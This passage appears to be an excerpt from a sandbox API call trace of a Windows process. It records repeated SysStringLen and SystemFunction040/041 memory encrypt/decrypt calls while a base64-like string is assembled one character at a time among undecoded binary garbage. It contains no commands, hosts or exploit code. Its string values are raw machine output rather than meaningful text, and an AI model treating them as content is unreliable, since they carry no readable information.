(in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.879] SysStringLen (param_1="KK") returned 0x8 [0184.879] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.880] SysStringLen (param_1="ꆱ疤Ꚓ뢰✐⫫⢕") returned 0x8 [0184.880] SysStringLen (param_1="ꆱ疤Ꚓ뢰✐⫫⢕") returned 0x8 [0184.880] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.880] SysStringLen (param_1="KKx") returned 0x8 [0184.880] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.880] SysStringLen (param_1="鍩㝭ᠺ럺¬硐縃뤄") returned 0x8 [0184.880] SysStringLen (param_1="鍩㝭ᠺ럺¬硐縃뤄") returned 0x8 [0184.880] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.880] SysStringLen (param_1="KKxg") returned 0x8 [0184.880] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.880] SysStringLen (param_1="啦泝ᢝ짯㹕骧桢堛") returned 0x8 [0184.880] SysStringLen (param_1="啦泝ᢝ짯㹕骧桢堛") returned 0x8 [0184.881] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.881] SysStringLen (param_1="KKxg0") returned 0x8 [0184.881] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.881] SysStringLen (param_1="纈̭陋༞鸍ज़좓") returned 0x8 [0184.881] SysStringLen (param_1="纈̭陋༞鸍ज़좓") returned 0x8 [0184.881] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.881] SysStringLen (param_1="KKxg0G") returned 0x8 [0184.881] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.881] SysStringLen (param_1="魎➃蒖욑䁦枠䴙") returned 0x8 [0184.881] SysStringLen (param_1="魎➃蒖욑䁦枠䴙") returned 0x8 [0184.881] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.882] SysStringLen (param_1="KKxg0GZ") returned 0x8 [0184.882] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.882] SysStringLen (param_1="딾ﺰ骾豈ᝮ얌弻呜") returned 0x8 [0184.882] SysStringLen (param_1="딾ﺰ骾豈ᝮ얌弻呜") returned 0x8 [0184.882] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.882] SysStringLen (param_1="KKxg0GZZ") returned 0x8 [0184.882] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0184.882] SysStringLen (param_1="锨뵬쏸岽숄䠶봟") returned 0x8 [0184.883] SysStringLen (param_1="锨뵬쏸岽숄䠶봟") returned 0x8 [0184.883] SysStringLen (param_1="锨뵬쏸岽숄䠶봟") returned 0x8 [0184.883] SysStringLen (param_1="锨뵬쏸岽숄䠶봟") returned 0x10 [0184.883] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.883] SysStringLen (param_1="KKxg0GZZV궽쨅礶흒瑻㭅瀤") returned 0x10 [0184.883] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.883] SysStringLen (param_1="锨뵬쏸岽숄䠶봟μ槻룵姀퀸㶊聾") returned 0x10 [0184.883] SysStringLen (param_1="锨뵬쏸岽숄䠶봟μ槻룵姀퀸㶊聾") returned 0x10 [0184.883] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.883] SysStringLen (param_1="KKxg0GZZVU쨅礶흒瑻㭅瀤") returned 0x10 [0184.883] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.884] SysStringLen (param_1="锨뵬쏸岽숄䠶봟ꖄ큨칕塈\ϐଞ⊜) returned 0x10 [0184.884] SysStringLen (param_1="锨뵬쏸岽숄䠶봟ꖄ큨칕塈\ϐଞ⊜) returned 0x10 [0184.884] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.884] SysStringLen (param_1="KKxg0GZZVUk礶흒瑻㭅瀤") returned 0x10 [0184.884] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.884] SysStringLen (param_1="锨뵬쏸岽숄䠶봟炫Ⓕ婄ꂓ袆ላ惬꼙") returned 0x10 [0184.884] SysStringLen (param_1="锨뵬쏸岽숄䠶봟炫Ⓕ婄ꂓ袆ላ惬꼙") returned 0x10 [0184.884] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.884] SysStringLen (param_1="KKxg0GZZVUk0흒瑻㭅瀤") returned 0x10 [0184.884] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.884] SysStringLen (param_1="锨뵬쏸岽숄䠶봟럢ꋲ㰮窛蛸똤ⅾ䞢") returned 0x10 [0184.884] SysStringLen (param_1="锨뵬쏸岽숄䠶봟럢ꋲ㰮窛蛸똤ⅾ䞢") returned 0x10 [0184.885] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.885] SysStringLen (param_1="KKxg0GZZVUk0+瑻㭅瀤") returned 0x10 [0184.885] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.885] SysStringLen (param_1="锨뵬쏸岽숄䠶봟ࠅ什팍㪯ᐇཋ劝") returned 0x10 [0184.885] SysStringLen (param_1="锨뵬쏸岽숄䠶봟ࠅ什팍㪯ᐇཋ劝") returned 0x10 [0184.885] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.886] SysStringLen (param_1="KKxg0GZZVUk0+S㭅瀤") returned 0x10 [0184.886] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.886] SysStringLen (param_1="锨뵬쏸岽숄䠶봟뜾䮧嫓똆鳯\笳⋉) returned 0x10 [0184.886] SysStringLen (param_1="锨뵬쏸岽숄䠶봟뜾䮧嫓똆鳯\笳⋉) returned 0x10 [0184.886] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.886] SysStringLen (param_1="KKxg0GZZVUk0+SB瀤") returned 0x10 [0184.886] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.886] SysStringLen (param_1="锨뵬쏸岽숄䠶봟갻㎱⤅蛩尧ۆᾒ笷") returned 0x10 [0184.886] SysStringLen (param_1="锨뵬쏸岽숄䠶봟갻㎱⤅蛩尧ۆᾒ笷") returned 0x10 [0184.886] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.886] SysStringLen (param_1="KKxg0GZZVUk0+SBr") returned 0x10 [0184.887] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0184.887] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟") returned 0x10 [0184.887] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟") returned 0x10 [0184.887] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟") returned 0x10 [0184.887] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟") returned 0x18 [0184.887] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.887] SysStringLen (param_1="KKxg0GZZVUk0+SBrhﭛ靄듦⋱蔮ퟄ¤") returned 0x18 [0184.887] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.888] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟牜螏镫뵃὿恺驦᤹") returned 0x18 [0184.888] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟牜螏镫뵃὿恺驦᤹") returned 0x18 [0184.888] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.888] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3靄듦⋱蔮ퟄ¤") returned 0x18 [0184.888] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.888] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟늚挩惄楞餱䙼᜼") returned 0x18 [0184.888] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟늚挩惄楞餱䙼᜼") returned 0x18 [0184.888] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.888] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h듦⋱蔮ퟄ¤") returned 0x18 [0184.888] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.888] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟俓억Ⅸɶ냑蒖ᚬꄻ") returned 0x18 [0184.888] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟俓억Ⅸɶ냑蒖ᚬꄻ") returned 0x18 [0184.889] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.889] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3⋱蔮ퟄ¤") returned 0x18 [0184.889] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.889] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟눚ꍋꋄ썪ஶ\鏞笟∖) returned 0x18 [0184.889] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟눚ꍋꋄ썪ஶ\鏞笟∖) returned 0x18 [0184.889] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.889] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3c蔮ퟄ¤") returned 0x18 [0184.889] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.889] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟㵒릿눥閬헷ꠔ꭛") returned 0x18 [0184.889] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟㵒릿눥閬헷ꠔ꭛") returned 0x18 [0184.889] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.890] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cSퟄ¤") returned 0x18 [0184.890] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.890] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟쨿ꔽ裩⅕깥഼\⋞) returned 0x18 [0184.890] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟쨿ꔽ裩⅕깥഼\⋞) returned 0x18 [0184.890] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.890] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9¤") returned 0x18 [0184.890] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.890] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟䧯䏏똅뭋Ρ쪓\燞∘) returned 0x18 [0184.890] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟䧯䏏똅뭋Ρ쪓\燞∘) returned 0x18 [0184.890] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.890] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R") returned 0x18 [0184.891] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0184.891] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘") returned 0x18 [0184.891] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘") returned 0x18 [0184.891] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘") returned 0x18 [0184.891] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘") returned 0x20 [0184.891] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.891] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7籄˿晌蜫哫鳣") returned 0x20 [0184.891] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.892] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘麞ក䰈は߼") returned 0x20 [0184.892] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘麞ក䰈は߼") returned 0x20 [0184.892] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.892] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7r籄˿晌蜫哫鳣") returned 0x20 [0184.892] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.892] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘痿嫵쑜౮\\⣘뿴‥") returned 0x20 [0184.892] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘痿嫵쑜౮\\⣘뿴‥") returned 0x20 [0184.892] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.892] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rp˿晌蜫哫鳣") returned 0x20 [0184.892] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.892] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘꽫亊䑝큎渹檝臺톷") returned 0x20 [0184.892] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘꽫亊䑝큎渹檝臺톷") returned 0x20 [0184.892] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.893] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpq晌蜫哫鳣") returned 0x20 [0184.893] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.893] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘₹ᕐ롧贉\㗞龍∲) returned 0x20 [0184.893] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘₹ᕐ롧贉\㗞龍∲) returned 0x20 [0184.893] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.893] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN蜫哫鳣") returned 0x20 [0184.893] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.893] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘省䟖籠钪Ꙓ") returned 0x20 [0184.893] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘省䟖籠钪Ꙓ") returned 0x20 [0184.893] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.894] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9哫鳣") returned 0x20 [0184.894] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.894] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘띴侞௰볞嶨\䋙ӈ∲) returned 0x20 [0184.894] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘띴侞௰볞嶨\䋙ӈ∲) returned 0x20 [0184.894] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.894] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9K鳣") returned 0x20 [0184.894] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.894] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘劋녨灒﫿\髟ឥ䢮⋛) returned 0x20 [0184.894] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘劋녨灒﫿\髟ឥ䢮⋛) returned 0x20 [0184.894] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.894] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz") returned 0x20 [0184.894] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0184.895] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢") returned 0x20 [0184.895] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢") returned 0x20 [0184.895] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢") returned 0x20 [0184.895] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢") returned 0x28 [0184.895] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.895] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9没硲郸翙⊸ད⿴") returned 0x28 [0184.895] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.896] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢߸࡫觶髐Ƣ젢穫蕌") returned 0x28 [0184.896] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢߸࡫觶髐Ƣ젢穫蕌") returned 0x28 [0184.896] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.896] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9Y硲郸翙⊸ད⿴") returned 0x28 [0184.896] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.896] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢㜀ກ틷鐹㠱\쫘≵) returned 0x28 [0184.896] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢㜀ກ틷鐹㠱\쫘≵) returned 0x28 [0184.896] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.896] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9Ye郸翙⊸ད⿴") returned 0x28 [0184.896] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.896] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢ষ\믜덼齸\䝕") returned 0x28 [0184.896] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢ষ\믜덼齸\䝕") returned 0x28 [0184.896] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.897] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9Yev翙⊸ད⿴") returned 0x28 [0184.897] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.897] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢৙䙼촉챤邆쩚֫뒏") returned 0x28 [0184.897] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢৙䙼촉챤邆쩚֫뒏") returned 0x28 [0184.897] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.897] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9Yevh⊸ད⿴") returned 0x28 [0184.897] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.897] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢Ｅ䶻꜔啕䙻誖䧙") returned 0x28 [0184.897] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢Ｅ䶻꜔啕䙻誖䧙") returned 0x28 [0184.897] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.898] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9Yevhzད⿴") returned 0x28 [0184.898] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.898] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢繯⪉\㗜헌漪빔⊓) returned 0x28 [0184.898] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢繯⪉\㗜헌漪빔⊓) returned 0x28 [0184.898] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.898] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9YevhzA⿴") returned 0x28 [0184.898] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.898] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢곱䦽㾸踍훗ꃗ琹ᵙ") returned 0x28 [0184.898] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢곱䦽㾸踍훗ꃗ琹ᵙ") returned 0x28 [0184.898] SystemFunction041 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.898] SysStringLen (param_1="KKxg0GZZVUk0+SBrh3h3cS9R7rpqN9Kz9YevhzAI") returned 0x28 [0184.898] SystemFunction040 (in: Memory=0x3c0a94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0a94) returned 0x0 [0184.899] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇") returned 0x28 [0184.899] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇") returned 0x28 [0184.899] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇") returned 0x28 [0184.899] SysStringLen (param_1="锨뵬쏸岽숄䠶봟懘쏎ศꤞ㍑꒷춟⫽\ⷙㄋꎸ哭頱\凘ἳ吴༛⨶铇簢魁炲턝搜켻雫⿿隇") returned 0x30 [0184.899] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0184.899] 